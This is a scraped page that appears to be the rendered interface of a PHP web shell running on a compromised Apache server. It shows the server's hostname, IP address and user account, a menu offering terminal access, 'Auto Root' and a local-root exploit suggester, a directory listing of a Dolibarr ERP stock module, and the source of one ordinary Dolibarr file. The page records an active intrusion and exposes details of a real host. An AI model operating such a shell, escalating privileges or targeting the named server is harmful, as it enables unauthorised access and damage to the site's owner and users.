Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
speed.bdcloud.fr /
product /
stock /
Delete
Unzip
Name
Size
Permission
Date
Action
class
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
img
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
lib
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
tpl
[ DIR ]
drwxr-xr-x
2025-11-08 11:17
card.php
31.35
KB
-rw-r--r--
2020-09-02 15:32
fiche-valo.php
4.47
KB
-rw-r--r--
2020-09-02 15:32
index.php
7.35
KB
-rw-r--r--
2020-09-02 15:32
info.php
2.3
KB
-rw-r--r--
2020-09-02 15:32
list.php
27.54
KB
-rw-r--r--
2020-09-02 15:32
massstockmove.php
13.36
KB
-rw-r--r--
2020-09-02 15:32
movement_card.php
47.57
KB
-rw-r--r--
2020-09-02 15:32
movement_list.php
47.75
KB
-rw-r--r--
2020-09-02 15:32
product.php
39.87
KB
-rw-r--r--
2020-09-02 15:32
productlot_card.php
13.94
KB
-rw-r--r--
2020-09-02 15:32
productlot_document.php
5.85
KB
-rw-r--r--
2020-09-02 15:32
productlot_list.php
23.64
KB
-rw-r--r--
2020-09-02 15:32
replenish.php
33.55
KB
-rw-r--r--
2020-09-02 15:32
replenishorders.php
10.72
KB
-rw-r--r--
2020-09-02 15:32
valo.php
6.02
KB
-rw-r--r--
2020-09-02 15:32
Save
Rename
<?php /* Copyright (C) 2006 Rodolphe Quiedeville <rodolphe@quiedeville.org> * Copyright (C) 2008-2009 Laurent Destailleur <eldy@users.sourceforge.net> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/product/stock/fiche-valo.php * \ingroup stock * \brief Page fiche de valorisation du stock dans l'entrepot */ require '../../main.inc.php'; require_once DOL_DOCUMENT_ROOT.'/product/stock/class/entrepot.class.php'; require_once DOL_DOCUMENT_ROOT.'/core/lib/stock.lib.php'; // Load translation files required by the page $langs->loadLangs(array('products', 'stocks', 'companies')); $mesg = ''; // Security check $result = restrictedArea($user, 'stock'); /* * View */ $form = new Form($db); $help_url = 'EN:Module_Stocks_En|FR:Module_Stock|ES:Módulo_Stocks'; llxHeader("", $langs->trans("WarehouseCard"), $help_url); if ($_GET["id"]) { if ($mesg) print $mesg; $entrepot = new Entrepot($db); $result = $entrepot->fetch($_GET["id"]); if ($result < 0) { dol_print_error($db); } $head = stock_prepare_head($entrepot); dol_fiche_head($head, 'value', $langs->trans("Warehouse"), 0, 'stock'); print '<table class="border centpercent">'; // Ref print '<tr><td width="25%">'.$langs->trans("Ref").'</td><td colspan="3">'; print $form->showrefnav($entrepot, 'id', '', 1, 'rowid', 'libelle'); print '</td>'; print '<tr><td>'.$langs->trans("LocationSummary").'</td><td colspan="3">'.$entrepot->lieu.'</td></tr>'; // Description print '<tr><td class="tdtop">'.$langs->trans("Description").'</td><td colspan="3">'.nl2br($entrepot->description).'</td></tr>'; print '<tr><td>'.$langs->trans('Address').'</td><td colspan="3">'; print $entrepot->address; print '</td></tr>'; print '<tr><td width="25%">'.$langs->trans('Zip').'</td><td width="25%">'.$entrepot->zip.'</td>'; print '<td width="25%">'.$langs->trans('Town').'</td><td width="25%">'.$entrepot->town.'</td></tr>'; print '<tr><td>'.$langs->trans('Country').'</td><td colspan="3">'; print $entrepot->country; print '</td></tr>'; // Statut print '<tr><td>'.$langs->trans("Status").'</td><td colspan="3">'.$entrepot->getLibStatut(4).'</td></tr>'; $calcproducts = $entrepot->nb_products(); // Nb of products print '<tr><td class="tdtop">'.$langs->trans("NumberOfProducts").'</td><td colspan="3">'; print empty($calcproducts['nb']) ? '0' : $calcproducts['nb']; print "</td></tr>"; // Value print '<tr><td class="tdtop">'.$langs->trans("EstimatedStockValueShort").'</td><td colspan="3">'; print empty($calcproducts['value']) ? '0' : $calcproducts['value']; print "</td></tr>"; print "</table>"; print '</div>'; /* ************************************************************************** */ /* */ /* Graph */ /* */ /* ************************************************************************** */ print "<div class=\"graph\">\n"; $year = strftime("%Y", time()); $file = $conf->stock->dir_temp.'/entrepot-'.$entrepot->id.'-'.($year).'.png'; // TODO Build graph in $file from a table called llx_stock_log if (file_exists($file)) { $url = DOL_URL_ROOT.'/viewimage.php?modulepart=graph_stock&file=entrepot-'.$entrepot->id.'-'.$year.'.png'; print '<img src="'.$url.'" alt="Valorisation du stock annee '.($year).'">'; if (file_exists(DOL_DATA_ROOT.'/entrepot/temp/entrepot-'.$entrepot->id.'-'.($year - 1).'.png')) { $url = DOL_URL_ROOT.'/viewimage.php?modulepart=graph_stock&file=entrepot-'.$entrepot->id.'-'.($year - 1).'.png'; print '<br><img src="'.$url.'" alt="Valorisation du stock annee '.($year - 1).'">'; } } else { $langs->load("errors"); print $langs->trans("FeatureNotYetAvailable"); } print "</div>"; } // End of page llxFooter(); $db->close();